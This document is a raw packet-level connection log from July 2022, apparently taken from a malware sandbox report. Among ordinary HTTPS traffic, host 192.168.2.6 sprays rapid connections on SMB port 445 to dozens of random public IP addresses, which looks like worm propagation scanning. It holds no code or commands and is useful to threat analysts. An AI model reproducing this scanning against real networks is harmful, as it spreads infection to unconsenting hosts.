Jul 21, 2022 04:35:35.236740112 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.238938093 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.238957882 CEST	443	52160	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.239012003 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.239294052 CEST	52160	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.246083975 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.246134996 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.246217012 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.247317076 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.247347116 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.260447025 CEST	445	52196	207.180.242.19	192.168.2.6
Jul 21, 2022 04:35:35.392168045 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:35.392226934 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:35.392328978 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:35.393769979 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:35.393799067 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:35.399755001 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.399849892 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.406299114 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.406327009 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.437200069 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.437227964 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.568593979 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.568675995 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.568685055 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.568744898 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.568768024 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.568795919 CEST	443	52197	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.568806887 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.568860054 CEST	52197	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.572320938 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.572359085 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.572469950 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.580025911 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.580054998 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.614489079 CEST	80	49721	93.184.220.29	192.168.2.6
Jul 21, 2022 04:35:35.614578009 CEST	49721	80	192.168.2.6	93.184.220.29
Jul 21, 2022 04:35:35.720165968 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.720299959 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.750521898 CEST	52177	445	192.168.2.6	167.172.230.107
Jul 21, 2022 04:35:35.764173031 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.764195919 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.766103029 CEST	52196	445	192.168.2.6	207.180.242.19
Jul 21, 2022 04:35:35.768428087 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.768454075 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.788985014 CEST	445	52196	207.180.242.19	192.168.2.6
Jul 21, 2022 04:35:35.807501078 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:35.807610989 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:35.809962988 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:35.809983969 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:35.810364008 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:35.811765909 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:35.856502056 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:35.862070084 CEST	445	52177	167.172.230.107	192.168.2.6
Jul 21, 2022 04:35:35.862962008 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.863054991 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.863068104 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.863126040 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.869024992 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.869057894 CEST	443	52203	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.869083881 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.869129896 CEST	52203	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.871504068 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.871566057 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.871701002 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.873608112 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:35.873629093 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:35.938941002 CEST	52206	445	192.168.2.6	46.112.88.60
Jul 21, 2022 04:35:35.939825058 CEST	52207	445	192.168.2.6	54.99.49.211
Jul 21, 2022 04:35:36.015341997 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.015477896 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.016052961 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.016072989 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.050108910 CEST	52210	445	192.168.2.6	214.29.46.224
Jul 21, 2022 04:35:36.057296038 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.057324886 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.149517059 CEST	52211	445	192.168.2.6	204.0.67.200
Jul 21, 2022 04:35:36.149651051 CEST	52212	445	192.168.2.6	120.212.96.237
Jul 21, 2022 04:35:36.156286955 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156462908 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156529903 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156650066 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.156697989 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156744957 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156815052 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.156841993 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156904936 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.156925917 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.156979084 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.157062054 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.157175064 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.159215927 CEST	52214	445	192.168.2.6	95.236.232.222
Jul 21, 2022 04:35:36.161619902 CEST	52215	445	192.168.2.6	32.99.74.212
Jul 21, 2022 04:35:36.163803101 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.163918018 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.163959980 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.163995981 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.166300058 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.166341066 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.166358948 CEST	52200	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.166369915 CEST	443	52200	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.172338009 CEST	52205	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.172369003 CEST	443	52205	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.188967943 CEST	52216	445	192.168.2.6	112.120.81.28
Jul 21, 2022 04:35:36.191450119 CEST	52219	445	192.168.2.6	211.119.100.167
Jul 21, 2022 04:35:36.192217112 CEST	52220	445	192.168.2.6	18.2.152.216
Jul 21, 2022 04:35:36.192965984 CEST	52221	445	192.168.2.6	116.37.75.28
Jul 21, 2022 04:35:36.193706036 CEST	52222	445	192.168.2.6	167.117.89.172
Jul 21, 2022 04:35:36.196280003 CEST	52225	445	192.168.2.6	25.148.167.189
Jul 21, 2022 04:35:36.237858057 CEST	52230	445	192.168.2.6	179.138.131.235
Jul 21, 2022 04:35:36.244919062 CEST	52231	445	192.168.2.6	79.51.63.56
Jul 21, 2022 04:35:36.245039940 CEST	52232	445	192.168.2.6	16.246.233.241
Jul 21, 2022 04:35:36.245148897 CEST	52233	445	192.168.2.6	145.40.138.175
Jul 21, 2022 04:35:36.245326042 CEST	52234	445	192.168.2.6	177.70.35.208
Jul 21, 2022 04:35:36.245414972 CEST	52235	445	192.168.2.6	39.105.161.228
Jul 21, 2022 04:35:36.245524883 CEST	52236	445	192.168.2.6	169.239.52.217
Jul 21, 2022 04:35:36.245642900 CEST	52237	445	192.168.2.6	163.51.44.102
Jul 21, 2022 04:35:36.245770931 CEST	52238	445	192.168.2.6	141.39.130.217
Jul 21, 2022 04:35:36.245984077 CEST	52239	445	192.168.2.6	123.191.178.20
Jul 21, 2022 04:35:36.245995998 CEST	52240	445	192.168.2.6	22.218.154.101
Jul 21, 2022 04:35:36.246123075 CEST	52241	445	192.168.2.6	10.56.161.164
Jul 21, 2022 04:35:36.246176958 CEST	52242	445	192.168.2.6	29.116.38.122
Jul 21, 2022 04:35:36.246304989 CEST	52244	445	192.168.2.6	79.28.106.184
Jul 21, 2022 04:35:36.246391058 CEST	52245	445	192.168.2.6	43.80.213.67
Jul 21, 2022 04:35:36.246464968 CEST	52246	445	192.168.2.6	130.242.187.134
Jul 21, 2022 04:35:36.246606112 CEST	52248	445	192.168.2.6	215.214.209.41
Jul 21, 2022 04:35:36.300173998 CEST	52249	445	192.168.2.6	207.180.242.20
Jul 21, 2022 04:35:36.369308949 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.369350910 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.369549036 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.370626926 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.370656967 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.370747089 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.371304989 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.371316910 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.371372938 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.371391058 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.515000105 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.515117884 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.551944971 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.551963091 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.560513973 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.560532093 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.622308969 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.622411966 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.622488022 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.622498035 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.631756067 CEST	52250	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.631782055 CEST	443	52250	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.634490967 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.634527922 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.634650946 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.635019064 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.635031939 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.661736012 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.661899090 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.665103912 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.665117025 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.665415049 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.667695045 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:36.708498955 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:36.788592100 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.789773941 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.792108059 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.792124033 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.806387901 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.806402922 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.906339884 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.906421900 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:36.907886982 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.907898903 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.953656912 CEST	52255	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:36.953692913 CEST	443	52255	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.014085054 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.014125109 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.014225960 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.027509928 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.027529955 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.064214945 CEST	52260	445	192.168.2.6	86.160.169.89
Jul 21, 2022 04:35:37.065232038 CEST	52261	445	192.168.2.6	19.42.190.66
Jul 21, 2022 04:35:37.135538101 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135581970 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135618925 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135780096 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:37.135795116 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135812998 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135855913 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135921001 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:37.135936022 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.135952950 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:37.136022091 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.136086941 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:37.138930082 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:37.138971090 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.138984919 CEST	52251	443	192.168.2.6	52.152.110.14
Jul 21, 2022 04:35:37.138993979 CEST	443	52251	52.152.110.14	192.168.2.6
Jul 21, 2022 04:35:37.173779964 CEST	52264	445	192.168.2.6	201.45.244.41
Jul 21, 2022 04:35:37.174331903 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.174483061 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.239516973 CEST	52265	445	192.168.2.6	90.236.242.203
Jul 21, 2022 04:35:37.241012096 CEST	52267	445	192.168.2.6	6.55.160.23
Jul 21, 2022 04:35:37.243396997 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.243415117 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.246840000 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.246860027 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.283340931 CEST	52269	445	192.168.2.6	1.249.141.116
Jul 21, 2022 04:35:37.284706116 CEST	52270	445	192.168.2.6	194.129.32.196
Jul 21, 2022 04:35:37.316526890 CEST	52272	445	192.168.2.6	18.47.32.184
Jul 21, 2022 04:35:37.334820986 CEST	52275	445	192.168.2.6	189.31.97.174
Jul 21, 2022 04:35:37.335010052 CEST	52277	445	192.168.2.6	184.66.182.3
Jul 21, 2022 04:35:37.335135937 CEST	52281	445	192.168.2.6	48.142.241.20
Jul 21, 2022 04:35:37.335135937 CEST	52280	445	192.168.2.6	108.41.68.129
Jul 21, 2022 04:35:37.335207939 CEST	52282	445	192.168.2.6	49.204.25.242
Jul 21, 2022 04:35:37.349337101 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.349431038 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.349586010 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.349675894 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.349694014 CEST	443	52259	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.349708080 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.349749088 CEST	52259	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.352746010 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.352786064 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.353404045 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.353785038 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.353802919 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.379081011 CEST	52286	445	192.168.2.6	210.119.70.84
Jul 21, 2022 04:35:37.380120993 CEST	52288	445	192.168.2.6	157.233.220.162
Jul 21, 2022 04:35:37.380242109 CEST	52289	445	192.168.2.6	219.124.89.112
Jul 21, 2022 04:35:37.380388975 CEST	52291	445	192.168.2.6	29.22.192.16
Jul 21, 2022 04:35:37.380501032 CEST	52292	445	192.168.2.6	120.177.29.115
Jul 21, 2022 04:35:37.380582094 CEST	52293	445	192.168.2.6	207.161.9.1
Jul 21, 2022 04:35:37.380680084 CEST	52294	445	192.168.2.6	154.233.122.221
Jul 21, 2022 04:35:37.380764008 CEST	52295	445	192.168.2.6	16.150.109.253
Jul 21, 2022 04:35:37.380863905 CEST	52296	445	192.168.2.6	220.214.106.148
Jul 21, 2022 04:35:37.380964041 CEST	52297	445	192.168.2.6	51.153.152.206
Jul 21, 2022 04:35:37.381098986 CEST	52298	445	192.168.2.6	39.44.247.21
Jul 21, 2022 04:35:37.381194115 CEST	52299	445	192.168.2.6	173.18.40.91
Jul 21, 2022 04:35:37.381302118 CEST	52300	445	192.168.2.6	27.198.97.198
Jul 21, 2022 04:35:37.381397009 CEST	52301	445	192.168.2.6	62.15.65.39
Jul 21, 2022 04:35:37.381489038 CEST	52302	445	192.168.2.6	149.35.221.144
Jul 21, 2022 04:35:37.381586075 CEST	52303	445	192.168.2.6	90.236.17.163
Jul 21, 2022 04:35:37.381690025 CEST	52304	445	192.168.2.6	57.190.102.23
Jul 21, 2022 04:35:37.383656979 CEST	52305	445	192.168.2.6	207.180.242.21
Jul 21, 2022 04:35:37.500847101 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.500967026 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.505675077 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.505691051 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.508539915 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.508558989 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.617254019 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.617377043 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.617500067 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.621303082 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.621320009 CEST	443	52285	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:37.621339083 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:37.621439934 CEST	52285	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:38.192424059 CEST	52312	445	192.168.2.6	174.0.188.65
Jul 21, 2022 04:35:38.195533037 CEST	52313	445	192.168.2.6	156.31.233.53
Jul 21, 2022 04:35:38.282850027 CEST	52316	445	192.168.2.6	219.182.156.139
Jul 21, 2022 04:35:38.361455917 CEST	52317	445	192.168.2.6	117.16.159.24
Jul 21, 2022 04:35:38.363224983 CEST	52319	445	192.168.2.6	146.145.27.100
Jul 21, 2022 04:35:38.399297953 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.399354935 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.400743961 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.401324987 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.401341915 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.423768997 CEST	52321	445	192.168.2.6	149.86.99.176
Jul 21, 2022 04:35:38.423921108 CEST	52322	445	192.168.2.6	20.249.201.21
Jul 21, 2022 04:35:38.440500975 CEST	52323	445	192.168.2.6	203.171.225.192
Jul 21, 2022 04:35:38.440509081 CEST	52325	445	192.168.2.6	207.180.242.22
Jul 21, 2022 04:35:38.457503080 CEST	52329	445	192.168.2.6	181.151.67.90
Jul 21, 2022 04:35:38.461458921 CEST	52332	445	192.168.2.6	86.112.21.142
Jul 21, 2022 04:35:38.461558104 CEST	52333	445	192.168.2.6	210.168.25.108
Jul 21, 2022 04:35:38.461643934 CEST	52334	445	192.168.2.6	217.195.149.117
Jul 21, 2022 04:35:38.461713076 CEST	52335	445	192.168.2.6	104.239.84.80
Jul 21, 2022 04:35:38.486215115 CEST	52338	445	192.168.2.6	190.27.97.30
Jul 21, 2022 04:35:38.488428116 CEST	52341	445	192.168.2.6	173.193.199.24
Jul 21, 2022 04:35:38.488853931 CEST	52340	445	192.168.2.6	192.36.207.37
Jul 21, 2022 04:35:38.490170002 CEST	52343	445	192.168.2.6	108.254.223.187
Jul 21, 2022 04:35:38.491106987 CEST	52344	445	192.168.2.6	204.153.139.54
Jul 21, 2022 04:35:38.491969109 CEST	52345	445	192.168.2.6	201.46.249.124
Jul 21, 2022 04:35:38.492803097 CEST	52346	445	192.168.2.6	83.82.68.199
Jul 21, 2022 04:35:38.493613958 CEST	52347	445	192.168.2.6	213.165.56.143
Jul 21, 2022 04:35:38.494411945 CEST	52348	445	192.168.2.6	25.28.52.50
Jul 21, 2022 04:35:38.496020079 CEST	52350	445	192.168.2.6	99.47.10.126
Jul 21, 2022 04:35:38.496041059 CEST	52349	445	192.168.2.6	100.40.199.29
Jul 21, 2022 04:35:38.496794939 CEST	52351	445	192.168.2.6	114.240.59.38
Jul 21, 2022 04:35:38.497617960 CEST	52352	445	192.168.2.6	16.9.118.206
Jul 21, 2022 04:35:38.498581886 CEST	52353	445	192.168.2.6	185.244.48.161
Jul 21, 2022 04:35:38.499488115 CEST	52354	445	192.168.2.6	136.190.3.38
Jul 21, 2022 04:35:38.500380993 CEST	52355	445	192.168.2.6	173.149.36.172
Jul 21, 2022 04:35:38.501354933 CEST	52356	445	192.168.2.6	59.181.74.202
Jul 21, 2022 04:35:38.734273911 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.734438896 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.737453938 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.737472057 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.737711906 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.739921093 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.780503035 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.860773087 CEST	445	52338	190.27.97.30	192.168.2.6
Jul 21, 2022 04:35:38.956629992 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.956665993 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.956686020 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.956868887 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.956907034 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.956933975 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.956952095 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.957109928 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.966471910 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.966522932 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:38.966567039 CEST	52320	443	192.168.2.6	52.242.101.226
Jul 21, 2022 04:35:38.966576099 CEST	443	52320	52.242.101.226	192.168.2.6
Jul 21, 2022 04:35:39.072755098 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.072782993 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.074736118 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.075135946 CEST	52362	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:39.075150967 CEST	443	52362	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:39.191210032 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.191263914 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.191344976 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.191582918 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.191598892 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.282582045 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.285027027 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.285911083 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.285929918 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.288414955 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.288434982 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.288590908 CEST	52365	443	192.168.2.6	20.40.136.238
Jul 21, 2022 04:35:39.288600922 CEST	443	52365	20.40.136.238	192.168.2.6
Jul 21, 2022 04:35:39.306443930 CEST	52366	445	192.168.2.6	154.5.86.84
Jul 21, 2022 04:35:39.307045937 CEST	52367	445	192.168.2.6	73.140.218.245
Jul 21, 2022 04:35:39.324605942 CEST	443	49720	204.79.197.200	192.168.2.6
